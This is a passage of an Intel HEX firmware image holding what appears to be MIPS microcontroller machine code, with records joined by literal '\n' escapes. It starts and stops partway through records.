60604153\n:10838c00c00000007c00ba8f7400bb8f00709a4054\n:10839c007800ba8f8000bd2702609a4000e8dd416a\n:1083ac0000609b4018000042e0ffbd271c00bfafdf\n:1083bc001800beaf21f0a003211880002110a000ee\n:1083cc002000c3a32400c2a32400c293080042309f\n:1083dc0006004010000000002000c2932120400045\n:1083ec00212800009fa3400f000000002400c2932e\n:1083fc000400423006004010000000002000c29330\n:10840c0021204000010005249fa3400f0000000024\n:10841c002000c293001102002118400088bf023cca\n:10842c0000534224211062001000c2af1000c28f12\n:10843c002400c393000043a021e8c0031c00bf8f9d\n:10844c001800be8f2000bd270800e00300000000cc\n:10845c00f0ffbd270c00beaf21f0a0032118a00037\n:10846c001800c6af2110e0001000c4a31400c3a371\n:10847c001c00c2a31400c2930a00401000000000ac\n:10848c001000c39300a0023c80180300101a422471\n:10849c00211062000000428c0000c2af33a1400bdf\n:1084ac00000000001000c39300a0023c80180300e1\n:1084bc00001a4224211062000000428c0000c2af5e\n:1084cc000000c28f040040140000000021100000c6\n:1084dc009ea1400b000000001800c28f00e0437cfe\n:1084ec000000c28f070043a8040043b81c00c293cd\n:1084fc00ff034230ffff43300000c28fff006430a7\n:10850c00020045900000a5302520a400020044a0e4\n:10851c00021a0300ffff6330030063300300633073\n:10852c0003004590fcff04242420a400251883009c\n:10853c00030043a00000c28f00004390ff00633093\n:10854c0001004290ff00423000120200251043004f\n:10855c00ffff423040004230ffff43300000c28f2b\n:10856c00ff006430000045900000a5302520a400d9\n:10857c00000044a0021a0300ffff63300100449086\n:10858c000000843025188300010043a00000c28f36\n:10859c0000004390ff00633001004290ff00423026\n:1085ac000012020025104300ffff423088004234c5\n:1085bc00ffff43300000c28fff0064300000459085\n:1085cc000000a5302520a400000044a0021a0300de\n:1085dc00ffff6330010044900000843025188300b5\n:1085ec00010043a01400c2931100401000000000d1\n:1085fc001000c2938018020000a0023c101a422402\n:10860c00211062001000c3938020030000a0033ce3\n:10861c00101a63242118830000006390080063384b\n:10862c00ff006330000043a09da1400b0000000040\n:10863c001000c2938018020000a0023c001a4224d1\n:10864c00211062001000c3938020030000a0033ca3\n:10865c00001a63242118830000006390080063381b\n:10866c00ff006330000043a00000c28f21e8c0036c\n:10867c000c00be8f1000bd270800e00300000000b6\n:10868c00f0ffbd270c00beaf21f0a0032118800025\n:10869c002110a0001000c3a31400c2a31000c293a9\n:1086ac002600401400000000d881828f0200439005\n:1086bc000000633040006334020043a00300449088\n:1086cc00fcff032424188300030043a0d881828f6d\n:1086dc00c881832700e0637c070043a8040043b8eb\n:1086ec00d881828f0000439000006330212060000d\n:1086fc008cff032425188300000043a00100439045\n:10870c0000006330010043a000a0023c101a428c10\n:10871c0000004390000063302120600084ff03249c\n:10872c0025188300000043a0010043900000633033\n:10873c00010043a00fa2400b000000001000c293e8\n:10874c00401802001400c293211062004010020075\n:10875c00c018020000a0023c001c42242110620040\n:10876c000000c2af0000c28f000043900100429095\n:10877c000012020025104300ffff423084004234f7\n:10878c00ffff43300000c28fff00643000004590b3\n:10879c000000a5302520a400000044a0021a03000c\n:1087ac00ffff6330010044900000843025188300e3\n:1087bc00010043a01000c293401802001400c293a1\n:1087cc00211062004010020001004224c018020077\n:1087dc0000a0023c001c4224211062000000c2af29\n:1087ec000000c28f00004390010042900012020072\n:1087fc0025104300ffff423084004234ffff43301a\n:10880c000000c28fff006430000045900000a530ce\n:10881c002520a400000044a0021a0300ffff6330cf\n:10882c00010044900000843025188300010043a00f\n:10883c0021e8c0030c00be8f1000bd270800e00328\n:10884c0000000000f8ffbd270400beaf21f0a0031c\n:10885c00211080000800c2a388bf023c5052428cf9\n:10886c00200042307f004010000000000800c3933d\n:10887c0000a0023c80180300101a42242110620050\n:10888c000000428c0800c49300a0033c802004002c\n:10889c00101a6324211883000000638c03006a887b\n:1088ac00212040010000649807006a8821284001bb\n:1088bc0004006598400088300000a930030048a8e7\n:1088cc00000048b8070049a8040049b80800c39341\n:1088dc0000a0023c80180300101a422421106200f0\n:1088ec000000428c0800c49300a0033c80200400cc\n:1088fc00101a6324211883000000638c030068881d\n:10890c0021200001000064980700688821280001dc\n:10891c0004006598400086380000a738030046a87c\n:10892c00000046b8070047a8040047b80800c293e7\n:10893c008018020000a0023c101a42242110620090\n:10894c000800c3938020030000a0033c101a63248a\n:10895c00211883000000639008006338ff00633027\n:10896c00000043a00800c39300a0023c8018030041\n:10897c00101a4224211062000000428c0800c4939b\n:10898c0000a0033c80200400101a632421188300eb\n:10899c000000638c00006490ff0084300100639041\n:1089ac00ff006330001a030025186400ffff6330da\n:1089bc0040006330ffff6330ff00643000004590df\n:1089cc000000a5302520a400000044a0021a0300da\n:1089dc00ffff6330010044900000843025188300b1\n:1089ec00010043a00800c39300a0023c80180300c0\n:1089fc00101a4224211062000000428c0800c4931b\n:108a0c0000a0033c80200400101a6324211883006a\n:108a1c000000638c00006490ff00843001006390c0\n:108a2c00ff006330001a030025186400ffff633059\n:108a3c0040006338ffff6330ff0064300000459056\n:108a4c000000a5302520a400000044a0021a030059\n:108a5c00ffff633001004490000084302518830030\n:108a6c00010043a021e8c0030400be8f0800bd270d\n:108a7c000800e00300000000f8ffbd270400beafb3\n:108a8c0021f0a00388bf023c505240ac88bf023c8e\n:108a9c00105240acf48180af0000000021e8c0030c\n:108aac000400be8f0800bd270800e0030000000092\n:108abc00e8ffbd271400bfaf1000beaf21f0a0032c\n:108acc00f481828f310040140000000088bf023c0a\n:108adc00505240ac88bf023c105240ac88bf023ca4\n:108aec00e05240ac88bf023c9f000324305243aca0\n:108afc0088bf023c9f000324105243ac88bf023c49\n:108b0c007050428c0f00433088bf023c705043ac15\n:108b1c0088bf023c7050438c88bf023c705043ac01\n:108b2c0088bf023c0002033c781043ac88bf023c77\n:108b3c0000ff0334441143ac88bf023c00100324f3\n:108b4c00481143ac5358410f00000000c359410f6a\n:108b5c0000000000dfa2400b0000000088bf033cb7\n:108b6c0050526290010004240400827c505262a096\n:108b7c0088bf023c5052428c01004230f7ff40103b\n:108b8c000000000001000224f48182af21e8c00340\n:108b9c001400bf8f1000be8f1800bd270800e00323\n:108bac0000000000f8ffbd270400beaf21f0a003b9\n:108bbc00b481828f5b00401400000000010002248d\n:108bcc00b48182afbc81828f56004014000000003b\n:108bdc0001000224bc8182afdc818293ff00433010\n:108bec0002000224170062140000000000a0023ce6\n:108bfc00101a428c0200439000006330020043a024\n:108c0c0003004490fcff032424188300030043a0ba\n:108c1c0000a0023c101a428c00004390000063300c\n:108c2c0021206000c8ff032425188300000043a006\n:108c3c000100439000006330010043a04ca3400ba3\n:108c4c0000000000dc818293ff004330010002240d\n:108c5c003400621400000000ac8180afe081828f90\n:108c6c00020043900000633040006334020043a0d4\n:108c7c0003004490fcff032424188300030043a04a\n:108c8c00e081828fc881832700e0637c070043a8c2\n:108c9c00040043b8e081828f0000439000006330f1\n:108cac002120600084ff032425188300000043a0ca\n:108cbc000100439000006330010043a00100022436\n:108ccc00ac8182afd881828f020043900000633068\n:108cdc0040006334020043a003004490fcff0324d3\n:108cec0024188300030043a0d881828fc881832776\n:108cfc0000e0637c070043a8040043b8d881828f4e\n:108d0c0000004390000063302120600080ff0324aa\n:108d1c0025188300000043a001004390000063303d\n:108d2c00010043a021e8c0030400be8f0800bd274a\n:108d3c000800e00300000000e8ffbd271400bfafef\n:108d4c001000beaf21f0a003ec8180aff08180afaa\n:108d5c00dc818293ff004330020002241c00621469\n:108d6c0000000000d881828f020043900000633025\n:108d7c0040006334020043a003004490fcff032432\n:108d8c0024188300030043a0d881828f00a0033ce9\n:108d9c00901c632400e0637c070043a8040043b8e4\n:108dac00d881828f00004390000063302120600046\n:108dbc00c8ff032425188300000043a00100439042\n:108dcc0000006330010043a099a3400b0000000099\n:108ddc00ce818297ffff433000a0023c801c4224ce\n:108dec0008004294ffff42302b1062000600401036\n:108dfc0000000000ce818297ffff433000a0023cb0\n:108e0c00801c4224080043a45ca4400f0000000016\n:108e1c0000a0023c101a428c00a0033c901c63245e\n:108e2c0000e0637c070043a8040043b800a0023ca8\n:108e3c00101a428c00004390000063302120600027\n:108e4c00c8ff032425188300000043a001004390b1\n:108e5c0000006330010043a021e8c0031400bf8f61\n:108e6c001000be8f1800bd270800e00300000000b2\n:108e7c00f0ffbd270c00beaf21f0a003211880002d\n:108e8c002110a0001000c3a31400c2a300a0023c38\n:108e9c00001c42240000c2af1000c2934018020014\n:108eac001400c29321106200001102000000c38f55\n:108ebc00211062000000c2af0000c38f000062905e\n:108ecc00c439027c000062a01400c2930a00401452\n:108edc00000000001000c39300a0023c80180300a7\n:108eec00001a4224211062000000c38f000043ac22\n:108efc00c8a3400b000000001000c39300a0023c6c\n:108f0c0080180300101a4224211062000000c38f45\n:108f1c00000043ac0000c38f000062908431027cdf\n:108f2c00000062a00000c28f080043240000629081\n:108f3c00010004248431827c000062a021e8c0037b\n:108f4c000c00be8f1000bd270800e00300000000dd\n:108f5c00e8ffbd271400bfaf1000beaf21f0a00387\n:108f6c0088bf033c505262904429027c505262a04c\n:108f7c0000a0023c801c42240400428c8000423041\n:108f8c003a0040140000000000a0023cd01c422417\n:108f9c0004004290ff00433080ff02242410620042\n:108fac00ff0042300c0040100000000002000224c0\n:108fbc00dc8182a3f081828f03004014000000004a\n:108fcc0051a3400f00000000bc8180afb48180af82\n:108fdc0056a4400b00000000d881828f0200439001\n:108fec000000633040006334020043a0030044904f\n:108ffc00fcff032424188300030043a0d881828f34\n:10900c00c881832700e0637c070043a8040043b8b1\n:10901c00d881828f000043900000633021206000d3\n:10902c008cff032425188300000043a0010043900b\n:10903c0000006330010043a000a0023c101a428cd7\n:10904c0000004390000063302120600084ff032463\n:10905c0025188300000043a00100439000006330fa\n:10906c00010043a056a4400b00000000c88182936d\n:10907c00ff00433080ff022424106200ff004230c6\n:10908c00110040100000000001000224dc8182a3ca\n:10909c00ec81828f030040140000000051a3400fac\n:1090ac0000000000bc8180afb48180afb081828fa2\n:1090bc002600401400000000eca2400f000000004d\n:1090cc0056a4400b0000000002000224dc8182a3a5\n:1090dc00d881828f020043900000633040006334db\n:1090ec00020043a003004490fcff032424188300d7\n:1090fc00030043a0d881828fc881832700e0637c62\n:10910c00070043a8040043b8d881828f0000439025\n:10911c00000063302120600084ff032425188300a5\n:10912c00000043a00100439000006330010043a005\n:10913c00bc8180afb48180afb081828f03004014ba\n:10914c0000000000eca2400f0000000021e8c0036a\n:10915c001400bf8f1000be8f1800bd270800e0035d\n:10916c0000000000f0ffbd270c00beaf21f0a003f3\n:10917c00400002240000c2a300a0023c801c422438\n:10918c0008004294ffff42304000422c1500401072\n:10919c000000000000a0023c801c42240800429405\n:1091ac00ffff42300000c2a3c0818293ff00423017\n:1091bc00050040140000000001000224c08182a3bd\n:1091cc007ca4400b00000000c0818293ff00433060\n:1091dc0001000224030062140000000002000224bb\n:1091ec00c08182a300a0023c801c4224080042944f\n:1091fc00ffff43300000c293ffff42302310620098\n:10920c00ffff433000a0023c801c4224080043a412\n:10921c0000a0023c101a428c0000c393ff03633081\n:10922c00ffff6330ff006430020045900000a53062\n:10923c002520a400020044a0021a0300ffff6330a3\n:10924c00030063300300633003004590fcff0424eb\n:10925c002420a40025188300030043a000a0023c96\n:10926c00901c4224e48182af00a0023c801c42246a\n:10927c000400428c01004230150040140000000034\n:10928c00b2a4400b00000000e481828f0100432453\n:10929c00e48183af00a0033c801c638c0100652437\n:1092ac0000a0043c801c85ac00006390000043a02f\n:1092bc000000c293ffff42240000c2a30000c2932f\n:1092cc00f1ff401400000000c9a4400b0000000096\n:1092dc00c6a4400b00000000e481828f01004324ef\n:1092ec00e48183af00a0033c801c638c01006524e7\n:1092fc0000a0043c801c85ac00006390000043a0df\n:10930c000000c293ffff42240000c2a30000c293de\n:10931c00f1ff40140000000021e8c0030c00be8fd8\n:10932c001000bd270800e00300000000e0ffbd278f\n:10933c001c00bfaf1800beaf21f0a003e081828fec\n:10934c0002004390ff00633003004290ff00423064\n:10935c00030042300012020025104300ffff423090\n:10936c001000c2a31000c293ffff433000a0023cc8\n:10937c00d01c42240400428c007a427cffff423015\n:10938c002b104300070040100000000000a0023c1e\n:10939c00d01c42240400428c007a427cffff4230f5\n:1093ac001000c2a300a0023cd01c42240400428c3a\n:1093bc00007a427cffff43301000c293ffff423023\n:1093cc0023106200ffff443000a0023cd01c432459\n:1093dc000400628c04ba827c040062ac1100c0a34d\n:1093ec000ca5400b0000000000a0023cd01c428cdd\n:1093fc000100442400a0033cd01c64ac1100c493b5\n:10940c0000a0033c901c632421188300000063908f\n:10941c00ff006330000043a01100c29301004224fe\n:10942c001100c2a31100c3931000c2932b10620051\n:10943c00edff40140000000000a0023cd01c4224b0\n:10944c000400428c007a427cffff42302f00401017\n:10945c0000000000d881828f02004390000063302e\n:10946c0040006334020043a003004490fcff03243b\n:10947c0024188300030043a0d881828f00a0033cf2\n:10948c00901c632400e0637c070043a8040043b8ed\n:10949c00e081828f00004290ff0042304000423059\n:1094ac00ff0042300d00401400000000d881828f74\n:1094bc00000043900000633021206000c8ff0324ab\n:1094cc0025188300000043a0010043900000633086\n:1094dc00010043a078a5400b00000000d881828fca\n:1094ec0000004390000063302120600088ff0324bb\n:1094fc0025188300000043a0010043900000633056\n:10950c00010043a078a5400b00000000d881828f99\n:10951c00020043900000633040006334020043a01b\n:10952c0003004490fcff032424188300030043a091\n:10953c00d881828fc881832700e0637c070043a811\n:10954c00040043b8d881828f000043900000633040\n:10955c002120600084ff032425188300000043a011\n:10956c000100439000006330010043a000a0023cc6\n:10957c00d01c42240a004388212060000700449834\n:10958c0021108000090040100000000000a0023ce7\n:10959c00d01c42240a004388212060000700449814\n:1095ac002110800009f840000000000000a0023cdf\n:1095bc00d01c432404006290c439027c040062a0d5\n:1095cc00b081828f0300401400000000eca2400f19\n:1095dc000000000021e8c0031c00bf8f1800be8fe4\n:1095ec002000bd270800e00300000000e0ffbd27bd\n:1095fc001c00bfaf1800beaf21f0a00300a0023cbe\n:10960c00801c43240400629001000424c439827c31\n:10961c00040062a088bf023c105342241400c2af65\n:10962c001100c0a396a5400b000000001400c28fcf\n:10963c00000040ac1400c28f100042241400c2afd2\n:10964c001100c293010042241100c2a31100c29365\n:10965c000300422cf5ff40140000000000a0023c67\n:10966c00001c442421280000800006247152410f64\n:10967c000000000088bf033c50526290010004249b\n:10968c004408827c505262a01000c0a3b3a5400bca\n:10969c00000000001000c393048282272110620096\n:1096ac00000040a01000c393d481822721106200d7\n:1096bc00000040a01000c293010042241000c2a37d\n:1096cc001000c2930400422cf2ff40140000000072\n:1096dc000082842721280000010006247152410fca\n:1096ec000000000088bf033c505262904408027c8a\n:1096fc00505262a000a0023c00a0033c101c63244a\n:10970c00101a43ac00a0023c001c4224e08182af42\n:10971c00e081828fd88182afca818293ff00423070\n:10972c00b88182a3b8818293ff00423005004014b7\n:10973c000000000010000224f48182afdba5400b76\n:10974c000000000001000424b881852701000624d4\n:10975c00dd64400f0000000020000224f48182af81\n:10976c0021e8c0031c00bf8f1800be8f2000bd274e\n:10977c000800e00300000000f8ffbd270400beafa6\n:10978c0021f0a003c8818293ff00433080000224a3\n:10979c00510062140000000000a0023c801c422416\n:1097ac00c0ff0324040043a0cb818293ff0042300e\n:1097bc0002000324110043100000000003000324e6\n:1097cc002500431000000000010003243e00431458\n:1097dc000000000000a0023c059d033c6848632487\n:1097ec00801c43ac00a0023c801c422412000324c9\n:1097fc00080043a439a6400b00000000ca818293e4\n:10980c00ff00423080180200059d023c04494224ae\n:10981c00211062000000438c00a0023c801c43ac71\n:10982c0000a0023c801c428c0200439000a0023c31\n:10983c00801c4224080043a000a0023c801c428ce7\n:10984c000300439000a0023c801c4224090043a06a\n:10985c0039a6400b00000000ca818293ff00423001\n:10986c000400422c1300401000000000ca818293b7\n:10987c00ff00423080180200059d023c084942243a\n:10988c00211062000000438c00a0023c801c43ac01\n:10989c0000a0023c801c428c000042902118400029\n:1098ac0000a0023c801c4224080043a439a6400bb3\n:1098bc000000000000a0023c801c4224040040a0d8\n:1098cc0039a6400b0000000000a0023c801c422482\n:1098dc00040040a00000000021e8c0030400be8f7b\n:1098ec000800bd270800e00300000000f0ffbd27c2\n:1098fc000c00beaf21f0a00300a0023c901c40a0c5\n:10990c0000a0023c901c4224010040a0c881828f20\n:10991c000020427cff00423001000324220043104f\n:10992c000000000002000324270043100000000088\n:10993c005b0040140000000000a0023c801c43248b\n:10994c000400629001000424c439827c040062a0eb\n:10995c0000a0023c901c4290ff00423001004234b7\n:10996c00ff00433000a0023c901c43a0fc81838f7d\n:10997c00010002240a0062140000000000a0023c56\n:10998c00901c4290ff00423002004234ff004330f2\n:10999c0000a0023c901c43a0aba6400b00000000b2\n:1099ac00aba6400b0000000000a0023c801c43242e\n:1099bc000400629001000424c439827c040062a07b\n:1099cc00aba6400b0000000000a0023c801c43240e\n:1099dc000400629001000424c439827c040062a05b\n:1099ec00cc818293ff00433080ff0224241062005c\n:1099fc00ff0042300d00401400000000cc81828f2b\n:109a0c000018427cff0042302118400000a0023cac\n:109a1c0080180300001a4224211062000000428cbe\n:109a2c000000c2af98a6400b00000000cc81828fd2\n:109a3c000018427cff0042302118400000a0023c7c\n:109a4c0080180300101a4224211062000000428c7e\n:109a5c000000c2af0000c28f0000439080ff0224c0\n:109a6c0024106200ff0042300c0040100000000087\n:109a7c000000c28f0000429004004230ff004230d0\n:109a8c00060040100000000000a0023c010003246e\n:109a9c00901c43a0aaa6400b000000000000000090\n:109aac0000a0023c801c42240400428c8000423006\n:109abc000f0040100000000000a0023c00a0033c7e\n:109acc00901c6324801c43ac00a0023c801c4324eb\n:109adc0004006290010004240400827c040062a053\n:109aec0000a0023c801c422402000324080043a076\n:109afc0021e8c0030c00be8f1000bd270800e00356\n:109b0c0000000000f8ffbd270400beaf21f0a00349\n:109b1c0088bf023c0053428c0200423026004010a9\n:109b2c0000000000e081828f00004390ff00633052\n:109b3c0001004290ff004230001202002510430049\n:109b4c00ffff433080000224170062140000000065\n:109b5c0000a0023c101a428c00004390ff006330be\n:109b6c0001004290ff004230001202002510430019\n:109b7c00ffff4330840002240b006214000000003d\n:109b8c00e081828f00004390000063302120600050\n:109b9c008cff032425188300000043a00100439090\n:109bac0000006330010043a088bf033c0053629067\n:109bbc004408027c005362a088bf023c800003244e\n:109bcc00005243ac21e8c0030400be8f0800bd273f\n:109bdc000800e00300000000e8ffbd271400bfaf41\n:109bec001000beaf21f0a00388bf033c5050629020\n:109bfc00010004240421827c505062a088bf023ce6\n:109c0c0010000324005243ac01000224d08182af27\n:109c1c00750004242128000021300000dd64400f71\n:109c2c000000000021e8c0031400bf8f1000be8f9d\n:109c3c001800bd270800e00300000000e8ffbd2766\n:109c4c001400bfaf1000beaf21f0a003d08180afd5\n:109c5c00740004242128000021300000dd64400f32\n:109c6c000000000088bf033c505062900421027c2d\n:109c7c00505062a088bf023c10000324405043acfb\n:109c8c0021e8c0031400bf8f1000be8f1800bd2741\n:109c9c000800e00300000000e0ffbd271c00bfaf80\n:109cac001800beaf21f0a003c4818293ff004230a4\n:109cbc0021184000fbff02242410620041004014d4\n:109ccc0000000000c4818293ff0042308210020029\n:109cdc00ff004230c018020000a0023c001c4224cd\n:109cec0021106200e08182afe081828fd88182af47\n:109cfc00d8818227d88183270000639008006338bd\n:109d0c00ff006330000043a0e081828f000042908e\n:109d1c00ff0042303c004230ff004330340002244c\n:109d2c0024006214000000001000c0a363a7400bc5\n:109d3c00000000001000c393c88182272118620024\n:109d4c00e081828f070044880400449800a0023c04\n:109d5c002510820000004290000062a0e081828ffa\n:109d6c00070043880400439801006324070043a8bc\n:109d7c00040043b81000c293010042241000c2a397\n:109d8c001000c2930800422ceaff401400000000af\n:109d9c00e081828fc881832700e0637c070043a8a1\n:109dac00040043b884a7400f000000007ea7400bbe\n:109dbc000000000004a8400f000000007ea7400b2c\n:109dcc0000000000c4818293ff0042302118400043\n:109ddc00fbff022424186200080002240300621412\n:109dec000000000036a8400f0000000021e8c0036e\n:109dfc001c00bf8f1800be8f2000bd270800e00399\n:109e0c0000000000e8ffbd271400bfaf1000beaf7c\n:109e1c0021f0a003c08180a3b08180afec8180af22\n:109e2c00f08180afac8180afdc8180a300a0023ccc\n:109e3c00101a428c00a0033c101a638c0000649032\n:109e4c00ff00843001006390ff006330001a0300b0\n:109e5c0025186400ffff64307fff0324241883005f\n:109e6c00ffff6330ff006430000045900000a53018\n:109e7c002520a400000044a0021a0300ffff633059\n:109e8c00010044900000843025188300010043a099\n:109e9c0000a0023c101a422400a0033c101a6324b8\n:109eac000000639008006338ff006330000043a09b\n:109ebc0000a0023c101a428c00a0033c101a638cc8\n:109ecc0000006490ff00843001006390ff00633059\n:109edc00001a030025186400ffff64307fff032481\n:109eec0024188300ffff6330ff00643000004590ae\n:109efc000000a5302520a400000044a0021a030095\n:109f0c00ffff63300100449000008430251883006b\n:109f1c00010043a000a0023c101a422400a0033c04\n:109f2c00101a63240000639008006338ff0063304c\n:109f3c00000043a0d881828fd881838f0000649069\n:109f4c00ff00843001006390ff006330001a0300af\n:109f5c0025186400ffff64307fff0324241883005e\n:109f6c00ffff6330ff006430000045900000a53017\n:109f7c002520a400000044a0021a0300ffff633058\n:109f8c00010044900000843025188300010043a098\n:109f9c0000a0023c801c4224040040a000a0023c13\n:109fac00801c4224080040a400a0023cd01c422487\n:109fbc00040040a000a0023cd01c43240400628c8e\n:109fcc0004ba027c040062acbda8400f0000000083\n:109fdc00030004242128000021300000dd64400f20\n:109fec0000000000d7a3400f0000000021e8c003d0\n:109ffc001400bf8f1000be8f1800bd270800e003af\n:10a00c0000000000e8ffbd271400bfaf1000beaf7a\n:10a01c0021f0a003dc818293ff0043300200022474\n:10a02c000500621400000000cea4400f00000000e8\n:10a03c0030a8400b00000000dc8180a3ac81828f33\n:10a04c001b00401400000000d881828f0200439056\n:10a05c000000633040006334020043a003004490ce\n:10a06c00fcff032424188300030043a0d881828fb3\n:10a07c00c881832700e0637c070043a8040043b831\n:10a08c00d881828f00004390000063302120600053\n:10a09c008cff032425188300000043a0010043908b\n:10a0ac0000006330010043a030a8400b000000000a\n:10a0bc00ac8180af21e8c0031400bf8f1000be8fad\n:10a0cc001800bd270800e00300000000e0ffbd27da\n:10a0dc001c00bfaf1800beaf21f0a00300a0023cd3\n:10a0ec00101a428c000042908001427cff004230ea\n:10a0fc001000c2a300a0023c101a422400a0033c92\n:10a10c00101a63240000639008006338ff0063306a\n:10a11c00000043a0f481838f080002241000621415\n:10a12c0000000000ca818293ff00423021184000d9\n:10a13c0088bf023c605243ac88bf023c6052428ce8\n:10a14c00050040100000000010000224f48182afd2\n:10a15c005ba8400b0000000004000224f48182afd5\n:10a16c00dc818293ff004330010002243900621429\n:10a17c000000000000a0023c101a428c00a0033c1e\n:10a18c00901c632400e0637c070043a8040043b8e0\n:10a19c005ca4400f00000000c0818293ff0043309c\n:10a1ac00020002240e0062140000000000a0023c19\n:10a1bc00101a428c00004390000063302120600094\n:10a1cc0084ff032425188300000043a00100439062\n:10a1dc0000006330010043a0b7a8400b0000000052\n:10a1ec001000c2930e0040140000000000a0023cbe\n:10a1fc00101a428c00004390000063302120600054\n:10a20c00c8ff032425188300000043a001004390dd\n:10a21c0000006330010043a0b7a8400b0000000011\n:10a22c0000a0023c101a428c0000439000006330e6\n:10a23c002120600088ff032425188300000043a020\n:10a24c000100439000006330010043a0b7a8400b0d\n:10a25c000000000000a0023cd01c422404004290ec\n:10a26c00ff00433080ff022424106200ff004230c4\n:10a27c00160040100000000000a0023cd01c42243c\n:10a28c000a004388212060000700449821108000b8\n:10a29c00090040100000000000a0023cd01c422429\n:10a2ac000a00438821206000070044982110800098\n:10a2bc0009f840000000000000a0023cd01c432420\n:10a2cc0004006290c439027c040062a0dc8180a38b\n:10a2dc0021e8c0031c00bf8f1800be8f2000bd27d3\n:10a2ec000800e00300000000e8ffbd271400bfaf2a\n:10a2fc001000beaf21f0a003c8818293ff00423052\n:10a30c0060004230ff0042300300401000000000ab\n:10a31c0041a9400b00000000c9818293ff0042302c\n:10a32c000c00432c73006010000000008018020029\n:10a33c00039d023c54a34224211062000000428c75\n:10a34c00080040000000000020a4029d30a4029de3\n:10a35c0000a5029d30a4029d00a5029d84a3029d30\n:10a36c00aca3029de4a4029dcca3029dbca3029dc0\n:10a37c0040a4029da4a4029d00a0023c801c432486\n:10a38c000400629001000424c439827c040062a0a1\n:10a39c0008000224f48182af41a9400b00000000a8\n:10a3ac00e1a5400f0000000041a9400b0000000097\n:10a3bc007ea5400f0000000041a9400b00000000ea\n:10a3cc0000a0023cb8818327801c43ac00a0023c57\n:10a3dc00801c432404006290010004240400827c4d\n:10a3ec00040062a000a0023c801c42240100032453\n:10a3fc00080043a000a0023c801c4324040062908f\n:10a40c0001000424c439827c040062a041a9400be1\n:10a41c00000000003ea6400f0000000041a9400bc8\n:10a42c000000000047a9400f0000000041a9400bac\n:10a43c0000000000cc818293ff00423021184000c4\n:10a44c00008282272118620000a0023c801c43acd1\n:10a45c0000a0023c801c43240400629001000424f0\n:10a46c000400827c040062a000a0023c801c4224f8\n:10a47c0001000324080043a000a0023c801c4324dc\n:10a48c000400629001000424c439827c040062a0a0\n:10a49c0041a9400b0000000000a0023c801c43249a\n:10a4ac000400629001000424c439827c040062a080\n:10a4bc00cc818293ff00423021204000ca818293dc\n:10a4cc00ff0043300082822721108200000043a04d\n:10a4dc0041a9400b000000000200042421280000c8\n:10a4ec0021300000dd64400f0000000041a9400b4a\n:10a4fc00000000000000000021e8c0031400bf8f22\n:10a50c001000be8f1800bd270800e00300000000fb\n:10a51c00d8ffbd272400bfaf2000beaf21f0a003a1\n:10a52c00ca818293ff004330010002241700621499\n:10a53c0000000000c8818293ff0042301f004230af\n:10a54c00ff004230110040140000000000a0023c4b\n:10a55c00801c43240400629001000424c439827cd2\n:10a56c00040062a0c9818293ff00433003000224df\n:10a57c00050062140000000001000224fc8182af7f\n:10a58c0066a9400b00000000fc8180afca81829359\n:10a59c00ff0042307e01401400000000c88182930d\n:10a5ac00ff0042301f004230ff0043300200022403\n:10a5bc007701621400000000cc818293ff004230ce\n:10a5cc000f004230ff0042307101401000000000cb\n:10a5dc00cc81828f0018427cff004230040042285c\n:10a5ec006b01401000000000f481838f20000224d6\n:10a5fc00670162140000000000a0023c801c432490\n:10a60c000400629001000424c439827c040062a01e\n:10a61c00cc818293ff00433080ff0224241062001f\n:10a62c00ff0042301600401400000000cc81828fe5\n:10a63c000018427cff0042302118400000a0023c70\n:10a64c0080180300001a4224211062000000428c82\n:10a65c001400c2afcc81828f0018427cff004230c4\n:10a66c0021184000d4818227211062000000429002\n:10a67c00ff0042301800c2a3b6a9400b0000000036\n:10a68c00cc81828f0018427cff00423021184000a0\n:10a69c0000a0023c80180300101a42242110620012\n:10a6ac000000428c1400c2afcc81828f0018427c17\n:10a6bc00ff004230211840000482822721106200e2\n:10a6cc0000004290ff0042301800c2a31800c29351\n:10a6dc0001004230ff0042300a004014000000002c\n:10a6ec001400c2271400c32700006490f7ff032452\n:10a6fc0024188300ff006330000043a0caa9400b5c\n:10a70c00000000001400c2271400c327000063904f\n:10a71c0008006334ff006330000043a0cc818293b7\n:10a72c00ff00433080ff022424106200ff004230ff\n:10a73c000d00401400000000cc81828f0018427c78\n:10a74c00ff004230212040001400c38f00a0023cc7\n:10a75c0080200400001a422421108200000043ac27\n:10a76c00e7a9400b00000000cc81828f0018427cce\n:10a77c00ff004230212040001400c38f00a0023c97\n:10a78c0080200400101a422421108200000043ace7\n:10a79c00c9818293ff004330030002243b00621402\n:10a7ac00000000001400c28f0000439080ff0224c0\n:10a7bc0024106200ff0042301e0040100000000018\n:10a7cc00cc818293ff00433080ff0224241062006e\n:10a7dc00ff0042300d00401400000000cc81828f3d\n:10a7ec000018427cff00423021184000d48182279f\n:10a7fc002118620000006290010004244408827c4d\n:10a80c00000062a010aa400b00000000cc81828fd7\n:10a81c000018427cff00423021184000048282273d\n:10a82c002118620000006290010004244408827c1c\n:10a83c00000062a01400c28f1400c38f000064904b\n:10a84c0001006390001a030025186400ffff6330b9\n:10a85c0084006334ffff6330ff00643000004590d8\n:10a86c000000a5302520a400000044a0021a03001b\n:10a87c00ffff6330010044900000843025188300f2\n:10a88c00010043a0e7aa400b000000001400c227ff\n:10a89c001400c3270000639008006338ff00633086\n:10a8ac00000043a01400c28f0000439080ff0224dc\n:10a8bc0024106200ff004230320040100000000003\n:10a8cc001400c28f1400c38f0000649001006390c9\n:10a8dc00001a030025186400ffff64307fff032477\n:10a8ec0024188300ffff6330ff00643000004590a4\n:10a8fc000000a5302520a400000044a0021a03008b\n:10a90c00ffff633001004490000084302518830061\n:10a91c00010043a01400c28f1400c38f0000649088\n:10a92c0001006390001a030025186400ffff6330d8\n:10a93c0040006334ffff6330ff006430000045903b\n:10a94c000000a5302520a400000044a0021a03003a\n:10a95c00ffff633001004490000084302518830011\n:10a96c00010043a01400c28f0500042421284000dc\n:10a97c0004000624dd64400f0000000078aa400ba0\n:10a98c00000000001400c28f1400c38f00006490fc\n:10a99c0001006390001a030025186400ffff633068\n:10a9ac0040006334ffff6330ff00643000004590cb\n:10a9bc000000a5302520a400000044a0021a0300ca\n:10a9cc00ffff6330010044900000843025188300a1\n:10a9dc00010043a01400c2271400c3270000639099\n:10a9ec0008006338ff006330000043a01800c293d6\n:10a9fc0002004230ff00423008004014000000000a\n:10aa0c001400c28f0000439080ff022424106200c7\n:10aa1c00ff0042303900401000000000cc818293ce\n:10aa2c00ff00433080ff022424106200ff004230fc\n:10aa3c000c00401400000000cc81828f0018427c76\n:10aa4c00ff00423021184000d48182272118620077\n:10aa5c00000062904408027c000062a0a5aa400b92\n:10aa6c0000000000cc81828f0